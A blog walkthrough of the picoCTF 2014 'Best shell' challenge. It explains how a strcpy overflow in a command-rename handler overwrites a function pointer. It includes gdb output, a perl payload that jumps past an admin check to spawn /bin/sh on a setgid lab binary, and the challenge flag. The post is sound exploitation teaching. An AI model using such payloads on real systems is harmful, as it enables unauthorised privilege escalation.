PicoCTF – Bestshell

Hi guys !

In this article, I will try to explain how to solve Best shell, 12th challenge of type binary exploitation from picoCTF 2014. Even though the “competition” is over, it is still possible to register in order to practice and to solve the exercises. As a said in my introduction post, the exercises from this CTF are for beginners who want to learn the basics of buffer overflow.

Such as for the challenge ExecuteMe, on which I wrote my previous article, the binary of this challenge has the flag setgid on.

pico4180@shell:/home/best_shell$ file best_shell
best_shell: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=666efcc1791c08d7960e56af6cfcf8ac2e743a7b, not stripped

The binary belongs to the group best_shell, such has the file flag.txt, which contains the password needed to validate the challenge.

pico4180@shell:/home/best_shell$ ls -l
total 380
-rwxr-sr-x 1 root best_shell 12396 Oct 27 07:50 best_shell
-rw-r--r-- 1 root root 3306 Oct 27 13:25 best_shell.c
-r--r----- 1 root best_shell 22 Oct 27 01:34 flag.txt
-rw-r--r-- 1 root root 44 Oct 27 01:34 Makefile
-r--r----- 1 root best_shell 17 Oct 27 07:36 password.txt
pico4180@shell:/home/best_shell$

The ASLR is still disabled, however this time the stack is not executable (the binary is not compiled with the –zexecstack flag):

pico4180@shell:/home/best_shell$ cat Makefile
(all):
gcc -m32 -o best_shell best_shell.c

The way this program works is quite simple: it reads a command on stdin, checks whether it is valid and executes it. The following commands are supported:

  • add: adds 2 integers specified as parameters and prints the result on stdout
  • mult: multiplies 2 integers specified as parameters and prints the result on stdout
  • lol: prints the string “lol” plus another string specified as a parameter, on stdout
  • auth: checks whether the password typed by the user is equals to the one stored in “password.txt”
  • shell: if the user is authenticated, spawns a shell by calling system(“/bin/sh”)
  • rename: rename one of the commands by a name chosen by the user

Let’s try these commands:

pico4180@shell:/home/best_shell$ ./best_shell
>> add 2 4
= 6
>> mult 6 8
= 48
>> lol
usage: lol [string]
>> lol test
lol test
>> rename add addition
>> addition 100 50
= 150
>> shell
You must be admin!
>> auth
usage: auth [password]
>> auth my_password
Incorrect password!
>>

Now, let’s take a look to the sections from the source code needed to solve the challenge:

handlers is a global array of structure containing 6 objects of type input_handler. Each command is composed of:

  • it’s name, a 32 byte null terminated string: char cmd[32]
  • it’s function pointer: void (*handler)(char *)

Let’s look closer to the function rename_handler():

As you can see at ligne 21, the strcpy() function call is vulnerable to a buffer overflow exploitation. Indeed, the function will copy the input string specified by the user (new) into the output buffer (found->cmd) until reading a null byte. If the user provides a string longer than the size of the output buffer, then he will be able to override the function pointer (void (*handler)(char *)) associated with this command.

The structure input_handler for the command rename can be shown in memory like this:
rename_cmd

0x080488e1 is the virtual address of the function rename_handler():

pico4180@shell:/home/best_shell$ gdb -q ./best_shell
Reading symbols from ./best_shell...(no debugging symbols found)...done.
(gdb) print rename_handler
$1 = {} 0x80488e1
(gdb)

The function shell_handler looks interesting: after checking that the user typed the right password previously, it spawns a shell by calling system(“/bin/sh”)

Let’s disassemble this function to see how this C code is compiled in x86 instructions:

The instruction 0x080489d3 (test al,al) checks the flag admin and according to its value, executes the instructions from 0x080489d7 to 0x8048a04 (starting the shell), or the instructions from 0x08048a06 to 0x08048a0d (printing “You must be admin!”).

As we saw previously, the function pointer can be overridden by typing a command name longer than 32 characters. In order to succeed the exploitation, we are going to rename one of the supported commands and to rewrite it’s function pointer with the value 0x080489d7. Thus, by calling the command with its new name, we are going to execute the instruction from the function shell_handler() right after the admin check.

We are going to rename one of the commands, let’s say for example the command rename (why not after all?). The new name of this command will be ‘A’ repeated 32 times. After exploiting the buffer overflow vulnerability, the structure associated with the rename command can be shown in memory like this:

rename_cmd_bis

Well, now we just have to start the best_shell binary and to specify 2 parameters, the first one to rename the command rename and to override its function pointer, and a second one to call this function with its new name. As you notice, when the command new name is specified, the function pointer value is append to the name since the name is no more not null terminated.

pico4180@shell:/home/best_shell$
(perl -e 'print "rename rename " . "A"x32 ."\xd7\x89\x04\x08\n"';
perl -e 'print "A"x32 . "\xd7\x89\x04\x08\n"';
cat) |./best_shell
>> >> ls
best_shell best_shell.c flag.txt Makefile password.txt
cat flag.txt
give_shell_was_useful

And here is the flag: give_shell_was_useful 🙂

remi

Security Engineer / Malware Analyst, interested in reverse engineering, vulnerability exploitation, OS architecture & software developpement.

Leave a Reply

Your email address will not be published. Required fields are marked *